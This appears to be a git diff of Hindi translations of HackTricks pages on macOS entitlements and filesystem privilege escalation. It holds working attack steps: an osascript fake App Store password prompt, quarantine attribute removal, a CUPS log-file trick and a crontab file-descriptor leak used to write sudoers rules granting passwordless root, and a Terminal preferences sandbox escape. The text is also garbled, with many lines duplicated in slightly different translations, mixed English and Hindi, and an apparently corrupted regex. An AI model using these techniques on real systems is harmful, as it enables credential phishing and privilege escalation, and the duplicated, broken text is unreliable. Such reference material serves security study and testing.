ऐप को अन्य अनुप्रयोगों को **कार्य स्वचालित** करने के लिए घटनाएँ भेजने की अनुमति देता है। अन्य ऐप्स को नियंत्रित करते हुए, यह इन अन्य ऐप्स को दी गई अनुमतियों का दुरुपयोग कर सकता है।
|
||||
|
||||
जैसे कि उन्हें उपयोगकर्ता से उसका पासवर्ड पूछने के लिए कहना:
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
या **मनमाने क्रियाएँ** करने के लिए।
|
||||
Or making them perform **arbitrary actions**.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
अन्य अनुमतियों के बीच, **उपयोगकर्ताओं के TCC डेटाबेस** को **लिखने** की अनुमति देता है।
|
||||
अन्य अनुमतियों के बीच, **उपयोगकर्ताओं के TCC डेटाबेस को लिखने** की अनुमति देता है।
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
एक उपयोगकर्ता के **`NFSHomeDirectory`** विशेषता को **बदलने** की अनुमति देता है, जो उसके होम फ़ोल्डर पथ को बदलता है और इसलिए **TCC** को **बायपास** करने की अनुमति देता है।
|
||||
एक उपयोगकर्ता के **`NFSHomeDirectory`** विशेषता को **बदलने** की अनुमति देता है, जो उसके होम फ़ोल्डर पथ को बदलता है और इसलिए **TCC को बायपास** करने की अनुमति देता है।
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
ऐप्स बंडल (app.app के अंदर) के अंदर फ़ाइलों को संशोधित करने की अनुमति देता है, जो **डिफ़ॉल्ट रूप से अस्वीकृत** है।
|
||||
ऐप्स बंडल (app.app के अंदर) के अंदर फ़ाइलों को संशोधित करने की अनुमति देता है, जो **डिफ़ॉल्ट रूप से निषिद्ध** है।
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यह _System Settings_ > _Privacy & Security_ > _App Management_ में यह जांचना संभव है कि किसके पास यह पहुंच है।
|
||||
यह जांचना संभव है कि किसके पास यह एक्सेस है _System Settings_ > _Privacy & Security_ > _App Management._
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
प्रक्रिया **macOS पहुंच विशेषताओं** का **दुरुपयोग** करने में सक्षम होगी, जिसका अर्थ है कि उदाहरण के लिए वह कीस्ट्रोक दबा सकेगा। इसलिए वह Finder जैसे ऐप को नियंत्रित करने के लिए पहुंच का अनुरोध कर सकता है और इस अनुमति के साथ संवाद को मंजूरी दे सकता है।
|
||||
प्रक्रिया **macOS एक्सेसिबिलिटी सुविधाओं का दुरुपयोग** करने में सक्षम होगी, जिसका अर्थ है कि उदाहरण के लिए वह कीस्ट्रोक दबा सकेगा। इसलिए वह Finder जैसे ऐप को नियंत्रित करने के लिए एक्सेस का अनुरोध कर सकता है और इस अनुमति के साथ संवाद को मंजूरी दे सकता है।
|
||||
|
||||
## मध्यम
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
यह अधिकार **लिखने योग्य और निष्पादन योग्य मेमोरी** बनाने की अनुमति देता है, `mmap()` सिस्टम फ़ंक्शन को `MAP_JIT` ध्वज पास करके। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)।
|
||||
यह अधिकार **लिखने योग्य और निष्पादन योग्य मेमोरी बनाने** की अनुमति देता है `mmap()` सिस्टम फ़ंक्शन को `MAP_JIT` ध्वज पास करके। Check [**this for more info**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
यह अधिकार **C कोड को ओवरराइड या पैच** करने की अनुमति देता है, लंबे समय से अप्रचलित **`NSCreateObjectFileImageFromMemory`** (जो मौलिक रूप से असुरक्षित है) का उपयोग करने की अनुमति देता है, या **DVDPlayback** फ्रेमवर्क का उपयोग करता है। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)।
|
||||
यह अधिकार **C कोड को ओवरराइड या पैच** करने की अनुमति देता है, लंबे समय से अप्रचलित **`NSCreateObjectFileImageFromMemory`** (जो मौलिक रूप से असुरक्षित है) का उपयोग करने की अनुमति देता है, या **DVDPlayback** फ्रेमवर्क का उपयोग करने की अनुमति देता है। Check [**this for more info**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> इस अधिकार को शामिल करने से आपका ऐप मेमोरी-खतरनाक कोड भाषाओं में सामान्य कमजोरियों के लिए उजागर होता है। सावधानी से विचार करें कि क्या आपके ऐप को इस अपवाद की आवश्यकता है।
|
||||
> इस अधिकार को शामिल करने से आपका ऐप मेमोरी-खतरनाक कोड भाषाओं में सामान्य कमजोरियों के लिए उजागर हो जाता है। सावधानी से विचार करें कि क्या आपके ऐप को इस अपवाद की आवश्यकता है।
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
यह अधिकार **अपने स्वयं के निष्पादन योग्य फ़ाइलों** के खंडों को संशोधित करने की अनुमति देता है ताकि बलात्कारी निकासी की जा सके। अधिक जानकारी के लिए [**यह देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)।
|
||||
यह अधिकार **अपने स्वयं के निष्पादन योग्य फ़ाइलों के अनुभागों को संशोधित** करने की अनुमति देता है ताकि बलात्कारी निकासी की जा सके। Check [**this for more info**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
|
||||
> [!CAUTION]
|
||||
> निष्पादन योग्य मेमोरी सुरक्षा अधिकार एक चरम अधिकार है जो आपके ऐप से एक मौलिक सुरक्षा सुरक्षा को हटा देता है, जिससे एक हमलावर के लिए आपके ऐप के निष्पादन योग्य कोड को बिना पहचान के फिर से लिखना संभव हो जाता है। यदि संभव हो तो संकीर्ण अधिकारों को प्राथमिकता दें।
|
||||
> Disable Executable Memory Protection Entitlement एक चरम अधिकार है जो आपके ऐप से एक मौलिक सुरक्षा सुरक्षा को हटा देता है, जिससे एक हमलावर को आपके ऐप के निष्पादन योग्य कोड को बिना पहचान के फिर से लिखने की संभावना होती है। यदि संभव हो तो संकीर्ण अधिकारों को प्राथमिकता दें।
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
@ -145,7 +145,7 @@ TODO
|
||||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
यह अधिकार एक nullfs फ़ाइल प्रणाली को माउंट करने की अनुमति देता है (डिफ़ॉल्ट रूप से निषिद्ध)। उपकरण: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master)।
|
||||
यह अधिकार एक nullfs फ़ाइल प्रणाली को माउंट करने की अनुमति देता है (डिफ़ॉल्ट रूप से निषिद्ध)। Tool: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
@ -156,8 +156,10 @@ TODO
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
प्रक्रिया को **सभी TCC अनुमतियों के लिए पूछने की अनुमति दें**।
|
||||
प्रक्रिया को **सभी TCC अनुमतियों के लिए पूछने** की अनुमति दें।
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
</details>
|
||||
|
@ -9,22 +9,22 @@
|
||||
- **पढ़ें** - आप **डायरेक्टरी** प्रविष्टियों को **गिन सकते** हैं
|
||||
- **लिखें** - आप डायरेक्टरी में **फाइलें** **हटा/लिख** सकते हैं और आप **खाली फ़ोल्डर** हटा सकते हैं।
|
||||
- लेकिन आप **खाली नहीं** फ़ोल्डरों को **हटा/संशोधित** नहीं कर सकते जब तक कि आपके पास उस पर लिखने की अनुमति न हो।
|
||||
- आप **फ़ोल्डर का नाम** संशोधित नहीं कर सकते जब तक कि आप इसके मालिक न हों।
|
||||
- **निष्पादित करें** - आपको **डायरेक्टरी** को पार करने की **अनुमति** है - यदि आपके पास यह अधिकार नहीं है, तो आप इसके अंदर किसी भी फ़ाइलों या किसी उप-डायरेक्टरी में पहुँच नहीं सकते।
|
||||
- आप **फोल्डर का नाम** संशोधित नहीं कर सकते जब तक कि आप इसके मालिक न हों।
|
||||
- **निष्पादित करें** - आपको **डायरेक्टरी** को पार करने की **अनुमति** है - यदि आपके पास यह अधिकार नहीं है, तो आप इसके अंदर किसी भी फाइलों या किसी भी उप-डायरेक्टरी में पहुँच नहीं सकते।
|
||||
|
||||
### Dangerous Combinations
|
||||
|
||||
**कैसे एक फ़ाइल/फ़ोल्डर को ओवरराइट करें जो रूट द्वारा स्वामित्व में है**, लेकिन:
|
||||
**कैसे एक फ़ाइल/फोल्डर को ओवरराइट करें जो रूट द्वारा स्वामित्व में है**, लेकिन:
|
||||
|
||||
- पथ में एक माता-पिता **डायरेक्टरी का मालिक** उपयोगकर्ता है
|
||||
- पथ में एक माता-पिता **डायरेक्टरी का मालिक** एक **उपयोगकर्ता समूह** है जिसमें **लिखने की पहुँच** है
|
||||
- एक उपयोगकर्ता **समूह** के पास **फाइल** पर **लिखने** की पहुँच है
|
||||
- एक उपयोगकर्ता **समूह** को **फाइल** पर **लिखने** की पहुँच है
|
||||
|
||||
पिछले संयोजनों में से किसी के साथ, एक हमलावर **संकेत** कर सकता है एक **संपर्क/हार्ड लिंक** अपेक्षित पथ पर एक विशेषाधिकार प्राप्त मनमाना लिखने के लिए।
|
||||
पिछले संयोजनों में से किसी के साथ, एक हमलावर **एक्सपेक्टेड पथ पर एक **sym/hard link** इंजेक्ट कर सकता है ताकि एक विशेषाधिकार प्राप्त मनमाना लेखन प्राप्त किया जा सके।
|
||||
|
||||
### Folder root R+X Special case
|
||||
|
||||
यदि एक **डायरेक्टरी** में फ़ाइलें हैं जहाँ **केवल रूट के पास R+X पहुँच** है, तो वे **किसी और के लिए उपलब्ध नहीं हैं**। इसलिए एक भेद्यता जो **एक फ़ाइल को स्थानांतरित करने** की अनुमति देती है जिसे एक उपयोगकर्ता द्वारा पढ़ा जा सकता है, जिसे उस **प्रतिबंध** के कारण नहीं पढ़ा जा सकता, इस फ़ोल्डर से **किसी अन्य में**, इन फ़ाइलों को पढ़ने के लिए दुरुपयोग किया जा सकता है।
|
||||
यदि एक **डायरेक्टरी** में फ़ाइलें हैं जहाँ **केवल रूट को R+X पहुँच** है, तो वे **किसी और के लिए उपलब्ध नहीं हैं**। इसलिए एक भेद्यता जो **एक फ़ाइल को स्थानांतरित करने की अनुमति देती है जो एक उपयोगकर्ता द्वारा पढ़ी जा सकती है**, जिसे उस **प्रतिबंध** के कारण नहीं पढ़ा जा सकता, इस फ़ोल्डर से **किसी अन्य में**, इन फ़ाइलों को पढ़ने के लिए दुरुपयोग किया जा सकता है।
|
||||
|
||||
Example in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||
|
||||
@ -32,17 +32,17 @@ Example in: [https://theevilbit.github.io/posts/exploiting_directory_permissions
|
||||
|
||||
### Permissive file/folder
|
||||
|
||||
यदि एक विशेषाधिकार प्राप्त प्रक्रिया **फाइल** में डेटा लिख रही है जिसे **कम विशेषाधिकार प्राप्त उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे एक कम विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा **पहले बनाया गया** हो। उपयोगकर्ता बस इसे एक अन्य फ़ाइल की ओर **संकेत** कर सकता है एक प्रतीकात्मक या हार्ड लिंक के माध्यम से, और विशेषाधिकार प्राप्त प्रक्रिया उस फ़ाइल पर लिखेगी।
|
||||
यदि एक विशेषाधिकार प्राप्त प्रक्रिया **फाइल** में डेटा लिख रही है जिसे **कम विशेषाधिकार प्राप्त उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे एक कम विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा **पहले बनाया गया** हो। उपयोगकर्ता बस इसे एक अन्य फ़ाइल की ओर **संकेतित** कर सकता है एक प्रतीकात्मक या हार्ड लिंक के माध्यम से, और विशेषाधिकार प्राप्त प्रक्रिया उस फ़ाइल पर लिखेगी।
|
||||
|
||||
चेक करें अन्य अनुभागों में जहाँ एक हमलावर **विशेषाधिकार बढ़ाने के लिए मनमाना लिखने का दुरुपयोग कर सकता है**।
|
||||
चेक करें अन्य अनुभागों में जहाँ एक हमलावर **विशेषाधिकार बढ़ाने के लिए मनमाने लेखन का दुरुपयोग कर सकता है**।
|
||||
|
||||
### Open `O_NOFOLLOW`
|
||||
|
||||
फ्लैग `O_NOFOLLOW` जब `open` फ़ंक्शन द्वारा उपयोग किया जाता है तो अंतिम पथ घटक में एक सिम्लिंक का पालन नहीं करेगा, लेकिन यह पथ के बाकी हिस्से का पालन करेगा। पथ में सिम्लिंक्स का पालन करने से रोकने का सही तरीका फ्लैग `O_NOFOLLOW_ANY` का उपयोग करना है।
|
||||
फ्लैग `O_NOFOLLOW` जब फ़ंक्शन `open` द्वारा उपयोग किया जाता है तो अंतिम पथ घटक में एक सिम्लिंक का पालन नहीं करेगा, लेकिन यह पथ के बाकी हिस्से का पालन करेगा। पथ में सिम्लिंक्स का पालन करने से रोकने का सही तरीका फ्लैग `O_NOFOLLOW_ANY` का उपयोग करना है।
|
||||
|
||||
## .fileloc
|
||||
|
||||
**`.fileloc`** एक्सटेंशन वाली फ़ाइलें अन्य अनुप्रयोगों या बाइनरीज़ की ओर संकेत कर सकती हैं इसलिए जब वे खोली जाती हैं, तो अनुप्रयोग/बाइनरी वही होगी जो निष्पादित होगी।\
|
||||
**`.fileloc`** एक्सटेंशन वाली फ़ाइलें अन्य अनुप्रयोगों या बाइनरीज़ की ओर इशारा कर सकती हैं ताकि जब वे खोली जाएँ, तो अनुप्रयोग/बाइनरी वह हो जो निष्पादित होगा।\
|
||||
Example:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
@ -60,21 +60,21 @@ Example:
|
||||
|
||||
### लीक FD (कोई `O_CLOEXEC` नहीं)
|
||||
|
||||
यदि `open` के लिए कॉल में `O_CLOEXEC` ध्वज नहीं है, तो फ़ाइल वर्णनकर्ता बच्चे की प्रक्रिया द्वारा विरासत में लिया जाएगा। इसलिए, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक विशेषाधिकार प्राप्त फ़ाइल खोलती है और हमलावर द्वारा नियंत्रित प्रक्रिया को निष्पादित करती है, तो हमलावर **विशेषाधिकार प्राप्त फ़ाइल पर FD विरासत में लेगा**।
|
||||
यदि `open` के कॉल में `O_CLOEXEC` ध्वज नहीं है, तो फ़ाइल वर्णनकर्ता बच्चे की प्रक्रिया द्वारा विरासत में लिया जाएगा। इसलिए, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक विशेषाधिकार प्राप्त फ़ाइल खोलती है और एक प्रक्रिया को अटैकर द्वारा नियंत्रित करती है, तो अटैकर **विशेषाधिकार प्राप्त फ़ाइल पर FD विरासत में लेगा**।
|
||||
|
||||
यदि आप एक **प्रक्रिया को उच्च विशेषाधिकार के साथ फ़ाइल या फ़ोल्डर खोलने के लिए मजबूर कर सकते हैं**, तो आप **`crontab`** का दुरुपयोग कर सकते हैं ताकि `/etc/sudoers.d` में **`EDITOR=exploit.py`** के साथ एक फ़ाइल खोली जा सके, ताकि `exploit.py` को `/etc/sudoers` के अंदर फ़ाइल का FD मिल सके और इसका दुरुपयोग कर सके।
|
||||
यदि आप एक **प्रक्रिया को उच्च विशेषाधिकार के साथ एक फ़ाइल या फ़ोल्डर खोलने के लिए मजबूर कर सकते हैं**, तो आप **`crontab`** का दुरुपयोग कर सकते हैं ताकि `/etc/sudoers.d` में **`EDITOR=exploit.py`** के साथ एक फ़ाइल खोली जा सके, ताकि `exploit.py` को `/etc/sudoers` के अंदर फ़ाइल का FD मिल सके और इसका दुरुपयोग कर सके।
|
||||
|
||||
उदाहरण के लिए: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), कोड: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
||||
|
||||
## संगरोध xattrs चालों से बचें
|
||||
## संगरोध xattrs ट्रिक्स से बचें
|
||||
|
||||
### इसे हटा दें
|
||||
### इसे हटाएं
|
||||
```bash
|
||||
xattr -d com.apple.quarantine /path/to/file_or_app
|
||||
```
|
||||
### uchg / uchange / uimmutable flag
|
||||
|
||||
यदि किसी फ़ाइल/फ़ोल्डर में यह अपरिवर्तनीय विशेषता है, तो उस पर xattr डालना संभव नहीं होगा।
|
||||
यदि एक फ़ाइल/फ़ोल्डर में यह अपरिवर्तनीय विशेषता है, तो उस पर xattr डालना संभव नहीं होगा।
|
||||
```bash
|
||||
echo asd > /tmp/asd
|
||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||
@ -86,7 +86,7 @@ ls -lO /tmp/asd
|
||||
```
|
||||
### defvfs mount
|
||||
|
||||
एक **devfs** माउंट **xattr** का समर्थन नहीं करता, अधिक जानकारी के लिए [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
A **devfs** mount **xattr का समर्थन नहीं करता**, अधिक जानकारी के लिए देखें [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
```bash
|
||||
mkdir /tmp/mnt
|
||||
mount_devfs -o noowners none "/tmp/mnt"
|
||||
@ -122,11 +122,11 @@ ls -le /tmp/test
|
||||
|
||||
**AppleDouble** फ़ाइल प्रारूप एक फ़ाइल को उसकी ACEs सहित कॉपी करता है।
|
||||
|
||||
[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकता है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था:
|
||||
[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, उसे डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को लिखने से रोकता है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था:
|
||||
|
||||
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) की जांच करें।
|
||||
|
||||
इसे दोहराने के लिए, हमें पहले सही acl स्ट्रिंग प्राप्त करने की आवश्यकता है:
|
||||
इसकी नकल करने के लिए, हमें पहले सही acl स्ट्रिंग प्राप्त करने की आवश्यकता है:
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
@ -160,7 +160,7 @@ macos-xattr-acls-extra-stuff.md
|
||||
|
||||
### फ्लैग्स `CS_REQUIRE_LV` और `CS_FORCED_LV` को बायपास करें
|
||||
|
||||
यह संभव है कि एक निष्पादित बाइनरी अपने स्वयं के फ्लैग्स को संशोधित करे ताकि कोड के साथ जांचों को बायपास किया जा सके:
|
||||
यह संभव है कि एक निष्पादित बाइनरी अपने स्वयं के फ्लैग्स को संशोधित करे ताकि जांचों को बायपास किया जा सके, जैसे:
|
||||
```c
|
||||
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
|
||||
int pid = getpid();
|
||||
@ -195,7 +195,7 @@ Bundles में फ़ाइल **`_CodeSignature/CodeResources`** होत
|
||||
</dict>
|
||||
<key>rules2</key>
|
||||
...
|
||||
<key>^(.*/)?\.DS_Store$</key>
|
||||
<key>^(.*/index.html)?\.DS_Store$</key>
|
||||
<dict>
|
||||
<key>omit</key>
|
||||
<true/>
|
||||
@ -249,7 +249,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
आमतौर पर macOS डिस्क को `com.apple.DiskArbitrarion.diskarbitrariond` Mach सेवा से जोड़ता है (जो `/usr/libexec/diskarbitrationd` द्वारा प्रदान की जाती है)। यदि LaunchDaemons plist फ़ाइल में `-d` पैरामीटर जोड़ा जाए और पुनः प्रारंभ किया जाए, तो यह `/var/log/diskarbitrationd.log` में लॉग संग्रहीत करेगा।\
|
||||
हालांकि, `com.apple.driver.DiskImages` kext के साथ सीधे संवाद करने के लिए `hdik` और `hdiutil` जैसे उपकरणों का उपयोग करना संभव है।
|
||||
हालांकि, `hdik` और `hdiutil` जैसे उपकरणों का उपयोग करके `com.apple.driver.DiskImages` kext के साथ सीधे संवाद करना संभव है।
|
||||
|
||||
## मनमाने लेखन
|
||||
|
||||
@ -278,7 +278,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
बस स्क्रिप्ट `/Applications/Scripts/privesc.sh` उत्पन्न करें जिसमें **कमांड** हों जिन्हें आप रूट के रूप में चलाना चाहते हैं।
|
||||
बस स्क्रिप्ट `/Applications/Scripts/privesc.sh` बनाएं जिसमें **कमांड** हों जिन्हें आप रूट के रूप में चलाना चाहते हैं।
|
||||
|
||||
### Sudoers फ़ाइल
|
||||
|
||||
@ -300,15 +300,15 @@ ErrorLog /etc/sudoers.d/lpe
|
||||
LogFilePerm 777
|
||||
<some junk>
|
||||
```
|
||||
यह `/etc/sudoers.d/lpe` फ़ाइल को 777 अनुमतियों के साथ बनाएगा। अंत में अतिरिक्त जंक त्रुटि लॉग निर्माण को ट्रिगर करने के लिए है।
|
||||
यह `/etc/sudoers.d/lpe` फ़ाइल बनाएगा जिसमें अनुमति 777 होगी। अंत में अतिरिक्त जंक त्रुटि लॉग निर्माण को ट्रिगर करने के लिए है।
|
||||
|
||||
फिर, `/etc/sudoers.d/lpe` में आवश्यक कॉन्फ़िगरेशन लिखें ताकि विशेषाधिकार बढ़ाने के लिए `%staff ALL=(ALL) NOPASSWD:ALL` हो।
|
||||
|
||||
फिर, फ़ाइल `/etc/cups/cups-files.conf` को फिर से संशोधित करें और `LogFilePerm 700` इंगित करें ताकि नया sudoers फ़ाइल मान्य हो जाए `cupsctl` को कॉल करते समय।
|
||||
फिर, फ़ाइल `/etc/cups/cups-files.conf` को फिर से संशोधित करें और `LogFilePerm 700` इंगित करें ताकि नई sudoers फ़ाइल मान्य हो सके `cupsctl` को कॉल करते समय।
|
||||
|
||||
### सैंडबॉक्स Escape
|
||||
### Sandbox Escape
|
||||
|
||||
macOS सैंडबॉक्स से FS मनमाना लेखन के साथ भागना संभव है। कुछ उदाहरणों के लिए पृष्ठ [macOS Auto Start](../../../../macos-auto-start-locations.md) देखें लेकिन एक सामान्य उदाहरण यह है कि `~/Library/Preferences/com.apple.Terminal.plist` में एक टर्मिनल प्राथमिकताएँ फ़ाइल लिखें जो स्टार्टअप पर एक कमांड निष्पादित करती है और इसे `open` का उपयोग करके कॉल करें।
|
||||
macOS सैंडबॉक्स से FS मनमाने लेखन के साथ भागना संभव है। कुछ उदाहरणों के लिए पृष्ठ [macOS Auto Start](../../../../macos-auto-start-locations.md) देखें लेकिन एक सामान्य उदाहरण यह है कि `~/Library/Preferences/com.apple.Terminal.plist` में एक टर्मिनल प्राथमिकताएँ फ़ाइल लिखें जो स्टार्टअप पर एक कमांड निष्पादित करती है और इसे `open` का उपयोग करके कॉल करें।
|
||||
|
||||
## अन्य उपयोगकर्ताओं के रूप में लिखने योग्य फ़ाइलें उत्पन्न करें
|
||||
|
||||
@ -326,7 +326,7 @@ echo $FILENAME
|
||||
```
|
||||
## POSIX साझा मेमोरी
|
||||
|
||||
**POSIX साझा मेमोरी** POSIX-अनुरूप ऑपरेटिंग सिस्टम में प्रक्रियाओं को एक सामान्य मेमोरी क्षेत्र तक पहुँचने की अनुमति देती है, जो अन्य इंटर-प्रोसेस संचार विधियों की तुलना में तेज़ संचार को सुविधाजनक बनाती है। इसमें `shm_open()` के साथ एक साझा मेमोरी ऑब्जेक्ट बनाना या खोलना, `ftruncate()` के साथ इसका आकार सेट करना, और `mmap()` का उपयोग करके इसे प्रक्रिया के पते के स्थान में मैप करना शामिल है। प्रक्रियाएँ फिर सीधे इस मेमोरी क्षेत्र से पढ़ और लिख सकती हैं। समवर्ती पहुँच को प्रबंधित करने और डेटा भ्रष्टाचार को रोकने के लिए, समन्वय तंत्र जैसे म्यूटेक्स या सेमाफोर का अक्सर उपयोग किया जाता है। अंततः, प्रक्रियाएँ `munmap()` और `close()` के साथ साझा मेमोरी को अनमैप और बंद करती हैं, और वैकल्पिक रूप से `shm_unlink()` के साथ मेमोरी ऑब्जेक्ट को हटा देती हैं। यह प्रणाली विशेष रूप से उन वातावरणों में कुशल, तेज IPC के लिए प्रभावी है जहाँ कई प्रक्रियाओं को साझा डेटा तक तेजी से पहुँचने की आवश्यकता होती है।
|
||||
**POSIX साझा मेमोरी** POSIX-संगत ऑपरेटिंग सिस्टम में प्रक्रियाओं को एक सामान्य मेमोरी क्षेत्र तक पहुँचने की अनुमति देती है, जो अन्य इंटर-प्रोसेस संचार विधियों की तुलना में तेज़ संचार को सुविधाजनक बनाती है। इसमें `shm_open()` के साथ एक साझा मेमोरी ऑब्जेक्ट बनाना या खोलना, `ftruncate()` के साथ इसका आकार सेट करना, और `mmap()` का उपयोग करके इसे प्रक्रिया के पते की जगह में मैप करना शामिल है। प्रक्रियाएँ फिर सीधे इस मेमोरी क्षेत्र से पढ़ और लिख सकती हैं। समवर्ती पहुँच को प्रबंधित करने और डेटा भ्रष्टाचार को रोकने के लिए, समन्वय तंत्र जैसे म्यूटेक्स या सेमाफोर का अक्सर उपयोग किया जाता है। अंततः, प्रक्रियाएँ `munmap()` और `close()` के साथ साझा मेमोरी को अनमैप और बंद करती हैं, और वैकल्पिक रूप से `shm_unlink()` के साथ मेमोरी ऑब्जेक्ट को हटा देती हैं। यह प्रणाली विशेष रूप से उन वातावरणों में कुशल, तेज IPC के लिए प्रभावी है जहाँ कई प्रक्रियाओं को साझा डेटा तक तेजी से पहुँचने की आवश्यकता होती है।
|
||||
|
||||
<details>
|
||||
|
||||
@ -420,17 +420,17 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
## macOS संरक्षित वर्णनकर्ता
|
||||
## macOS Guarded Descriptors
|
||||
|
||||
**macOS संरक्षित वर्णनकर्ता** एक सुरक्षा विशेषता है जो macOS में उपयोगकर्ता अनुप्रयोगों में **फाइल वर्णनकर्ता संचालन** की सुरक्षा और विश्वसनीयता को बढ़ाने के लिए पेश की गई है। ये संरक्षित वर्णनकर्ता फाइल वर्णनकर्ताओं के साथ विशिष्ट प्रतिबंधों या "गार्ड" को जोड़ने का एक तरीका प्रदान करते हैं, जिन्हें कर्नेल द्वारा लागू किया जाता है।
|
||||
**macOSCguarded descriptors** एक सुरक्षा विशेषता है जो macOS में उपयोगकर्ता अनुप्रयोगों में **फाइल डिस्क्रिप्टर ऑपरेशंस** की सुरक्षा और विश्वसनीयता को बढ़ाने के लिए पेश की गई है। ये गार्डेड डिस्क्रिप्टर्स फाइल डिस्क्रिप्टर्स के साथ विशिष्ट प्रतिबंधों या "गार्ड्स" को जोड़ने का एक तरीका प्रदान करते हैं, जिन्हें कर्नेल द्वारा लागू किया जाता है।
|
||||
|
||||
यह विशेषता **अनधिकृत फाइल पहुंच** या **रेस कंडीशंस** जैसी सुरक्षा कमजोरियों की कुछ श्रेणियों को रोकने के लिए विशेष रूप से उपयोगी है। ये कमजोरियाँ तब होती हैं जब उदाहरण के लिए एक थ्रेड एक फाइल विवरण तक पहुँच रहा है जिससे **दूसरे कमजोर थ्रेड को उस पर पहुँच मिलती है** या जब एक फाइल वर्णनकर्ता एक कमजोर बाल प्रक्रिया द्वारा **विरासत में ली जाती है**। इस कार्यक्षमता से संबंधित कुछ कार्य हैं:
|
||||
यह विशेषता कुछ प्रकार की सुरक्षा कमजोरियों जैसे **अनधिकृत फाइल एक्सेस** या **रेस कंडीशंस** को रोकने के लिए विशेष रूप से उपयोगी है। ये कमजोरियाँ तब होती हैं जब उदाहरण के लिए एक थ्रेड एक फाइल डिस्क्रिप्शन को एक्सेस कर रहा होता है जिससे **दूसरे कमजोर थ्रेड को उस पर एक्सेस मिलता है** या जब एक फाइल डिस्क्रिप्टर को **एक कमजोर चाइल्ड प्रोसेस द्वारा विरासत में लिया जाता है**। इस कार्यक्षमता से संबंधित कुछ फ़ंक्शन हैं:
|
||||
|
||||
